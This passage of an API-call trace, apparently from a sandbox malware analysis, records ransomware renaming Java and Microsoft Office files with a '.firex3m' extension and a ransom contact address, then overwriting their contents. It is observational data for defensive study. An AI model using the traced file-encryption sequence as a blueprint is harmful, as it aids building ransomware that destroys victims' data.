ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaw.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWE~1.FIR")) returned 0x6d5040 [0116.607] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0116.607] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0116.607] GetProcessHeap () returned 0x630000 [0116.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71cb478 [0116.607] GetProcessHeap () returned 0x630000 [0116.607] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d68a8 [0116.607] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.607] ReadFile (in: hFile=0x6f8, lpBuffer=0x71cb478, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71cb478*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.181] GetProcessHeap () returned 0x630000 [0122.181] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0122.181] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.181] WriteFile (in: hFile=0x6f8, lpBuffer=0x71d68a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d68a8*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.182] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.182] WriteFile (in: hFile=0x6f8, lpBuffer=0x71e1ca7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e1ca7*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.182] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.182] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.182] CloseHandle (hObject=0x6f8) returned 1 [0122.186] GetProcessHeap () returned 0x630000 [0122.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d68a8 | out: hHeap=0x630000) returned 1 [0122.186] GetProcessHeap () returned 0x630000 [0122.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71cb478 | out: hHeap=0x630000) returned 1 [0122.188] GetProcessHeap () returned 0x630000 [0122.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0124.353] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xec8023a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x32864, dwReserved0=0x9647496, dwReserved1=0x71cb470, cFileName="javaw.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWE~1.FIR")) returned 0x6d5200 [0124.353] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.353] Sleep (dwMilliseconds=0x1) [0124.364] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\accupos.exe", len=0x2d | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\accupos.exe") returned 1 [0124.364] GetProcessHeap () returned 0x630000 [0124.364] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x12c) returned 0x66a3e0 [0124.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\accupos.exe" (normalized: "c:\\program files\\microsoft office\\accupos.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.364] Sleep (dwMilliseconds=0x1) [0124.430] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties", len=0x47 | out: pbstr=0x64bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 1 [0124.430] GetProcessHeap () returned 0x630000 [0124.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x100) returned 0x66a3e0 [0124.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0124.455] CloseHandle (hObject=0x6bc) returned 1 [0124.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.456] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.456] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MANAGE~1.FIR")) returned 0x6d5200 [0124.456] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0124.456] GetProcessHeap () returned 0x630000 [0124.456] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3941) returned 0x6eff150 [0124.457] GetProcessHeap () returned 0x630000 [0124.457] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3941) returned 0x721d1d8 [0124.457] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.457] ReadFile (in: hFile=0x6bc, lpBuffer=0x6eff150, nNumberOfBytesToRead=0x3920, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eff150*, lpNumberOfBytesRead=0x64bff0c*=0x3920, lpOverlapped=0x0) returned 1 [0125.739] GetProcessHeap () returned 0x630000 [0125.739] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0125.739] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.739] WriteFile (in: hFile=0x6bc, lpBuffer=0x721d1d8*, nNumberOfBytesToWrite=0x3920, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d1d8*, lpNumberOfBytesWritten=0x64bff0c*=0x3920, lpOverlapped=0x0) returned 1 [0127.203] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.204] WriteFile (in: hFile=0x6bc, lpBuffer=0x7220af7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7220af7*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.155] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.155] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.155] CloseHandle (hObject=0x6bc) returned 1 [0128.338] GetProcessHeap () returned 0x630000 [0128.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721d1d8 | out: hHeap=0x630000) returned 1 [0128.338] GetProcessHeap () returned 0x630000 [0128.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eff150 | out: hHeap=0x630000) returned 1 [0128.339] GetProcessHeap () returned 0x630000 [0128.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0129.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x125565d8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x394a, dwReserved0=0x9647496, dwReserved1=0x6eff148, cFileName="management.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MANAGE~1.FIR")) returned 0x6d5540 [0129.228] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0129.229] Sleep (dwMilliseconds=0x1) [0129.277] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar", len=0x37 | out: pbstr=0x64bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 1 [0129.277] GetProcessHeap () returned 0x630000 [0129.277] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x78) returned 0x66a3e0 [0129.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0129.278] CloseHandle (hObject=0x6e8) returned 1 [0129.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0129.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8bb82c9, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3ae816, dwReserved0=0x80001292, dwReserved1=0x0, cFileName="cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLDRDA~1.FIR")) returned 0x6d5200 [0129.279] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0129.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0129.279] GetProcessHeap () returned 0x630000 [0129.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f33a38 [0129.279] GetProcessHeap () returned 0x630000 [0129.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3ee68 [0129.280] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.280] ReadFile (in: hFile=0x6e8, lpBuffer=0x6f33a38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f33a38*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.329] GetProcessHeap () returned 0x630000 [0137.329] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0137.329] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.329] WriteFile (in: hFile=0x6e8, lpBuffer=0x6f3ee68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ee68*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0137.330] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.330] WriteFile (in: hFile=0x6e8, lpBuffer=0x6f4a267*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a267*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.331] SetFilePointerEx (in: hFile=0x6e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.332] WriteFile (in: hFile=0x6e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.332] CloseHandle (hObject=0x6e8) returned 1 [0140.390] GetProcessHeap () returned 0x630000 [0140.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ee68 | out: hHeap=0x630000) returned 1 [0140.391] GetProcessHeap () returned 0x630000 [0140.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f33a38 | out: hHeap=0x630000) returned 1 [0140.391] GetProcessHeap () returned 0x630000 [0140.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0140.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0140.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x19a1a249, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3ae83a, dwReserved0=0x9647496, dwReserved1=0x6f33a30, cFileName="cldrdata.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLDRDA~1.FIR")) returned 0x6d4f40 [0140.392] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0140.392] Sleep (dwMilliseconds=0x1) [0141.253] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms", len=0x51 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms") returned 1 [0141.253] GetProcessHeap () returned 0x630000 [0141.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c64) returned 0x7203db8 [0141.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0143.337] CloseHandle (hObject=0x690) returned 1 [0143.337] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0143.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ae3c90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ae3c90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4bc8a97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x258d, dwReserved0=0x720069, dwReserved1=0x780065, cFileName="MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO02CC~1.FIR")) returned 0x6d5380 [0143.764] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0143.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x690 [0143.764] GetProcessHeap () returned 0x630000 [0143.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x25a1) returned 0x6ec29f8 [0143.764] GetProcessHeap () returned 0x630000 [0143.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x25a1) returned 0x7150c40 [0143.765] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.765] ReadFile (in: hFile=0x690, lpBuffer=0x6ec29f8, nNumberOfBytesToRead=0x2580, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec29f8*, lpNumberOfBytesRead=0x64bff0c*=0x2580, lpOverlapped=0x0) returned 1 [0144.000] GetProcessHeap () returned 0x630000 [0144.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0144.000] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.001] WriteFile (in: hFile=0x690, lpBuffer=0x7150c40*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7150c40*, lpNumberOfBytesWritten=0x64bff0c*=0x2580, lpOverlapped=0x0) returned 1 [0144.001] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.001] WriteFile (in: hFile=0x690, lpBuffer=0x71531bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71531bf*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0144.001] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.001] WriteFile (in: hFile=0x690, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0144.001] CloseHandle (hObject=0x690) returned 1 [0144.001] GetProcessHeap () returned 0x630000 [0144.001] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7150c40 | out: hHeap=0x630000) returned 1 [0144.002] GetProcessHeap () returned 0x630000 [0144.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec29f8 | out: hHeap=0x630000) returned 1 [0144.002] GetProcessHeap () returned 0x630000 [0144.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0144.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0144.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4ae3c90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4ae3c90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1bc7c4cb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x25b1, dwReserved0=0x9647496, dwReserved1=0x6ec29f0, cFileName="MondoR_KMS_Automation-ul.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MO02CC~1.FIR")) returned 0x6d4ec0 [0144.002] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0144.002] Sleep (dwMilliseconds=0x1) [0145.309] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT", len=0x45 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT") returned 1 [0145.309] GetProcessHeap () returned 0x630000 [0145.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x26d4) returned 0x71f7c78 [0145.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0145.426] 